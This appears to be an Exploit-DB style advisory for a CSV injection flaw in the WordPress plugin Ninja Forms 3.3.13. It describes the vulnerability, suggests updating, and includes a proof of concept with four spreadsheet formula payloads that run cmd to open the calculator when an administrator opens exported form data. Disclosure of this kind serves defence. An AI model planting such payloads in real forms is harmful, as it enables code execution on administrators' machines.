Wordpress Plugin Ninja Forms 3.3.13 - CSV Injection

vendor:

Ninja Forms

by:

Mostafa Gharzi

7.5

CVSS

HIGH

CSV Injection

CWE

Product Name: Ninja Forms

Affected Version From: 3.3.13

Affected Version To: 3.3.13

Patch Exists: NO

Related CWE:

CPE: a:the_wp_ninjas:ninja_forms:3.3.13

Metasploit:

Other Scripts:

Platforms Tested: Win10x64 & Kali Linux

2018

WordPress Plugin Ninja Forms 3.3.13 – CSV Injection

WordPress Ninja Forms plugin version 3.3.13 and before are affected by Remote Code Execution through the CSV injection vulnerability. This allows an application user to inject commands as part of the fields of forms and these commands are executed when a user with greater privilege exports the data in CSV and opens that file on his machine.

Mitigation:

Update to a patched version of the plugin.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin Ninja Forms 3.3.13 - CSV Injection
# Exploit Author: Mostafa Gharzi
# Website: https://www.certcc.ir
# Date: 2018-08-19
# Google Dork: N/A
# Vendor: The WP Ninjas
# Software Link: https://wordpress.org/plugins/ninja-forms/
# Affected Version: 3.3.13 and before
# Active installations: 1+ million
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64 & Kali Linux

# 1. Technical Description:
# WordPress Ninja Forms plugin version 3.3.13 and before are affected by Remote Code Execution
# through the CSV injection vulnerability. This allows an application user
# to inject commands as part of the fields of forms and these commands are executed when a user with
# greater privilege exports the data in CSV and opens that file on his machine.

# 2. Proof Of Concept (PoC):
# Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the form,
# for example, in name field.
# When the user with high privileges logs in to the application, export
# data in CSV and opens the
# generated file, the command is executed and the calculator will run open
# on the machine.

# 3. Payloads:
=SUM(1+1)*cmd|' /C calc'!A0
+SUM(1+1)*cmd|' /C calc'!A0
-SUM(1+1)*cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0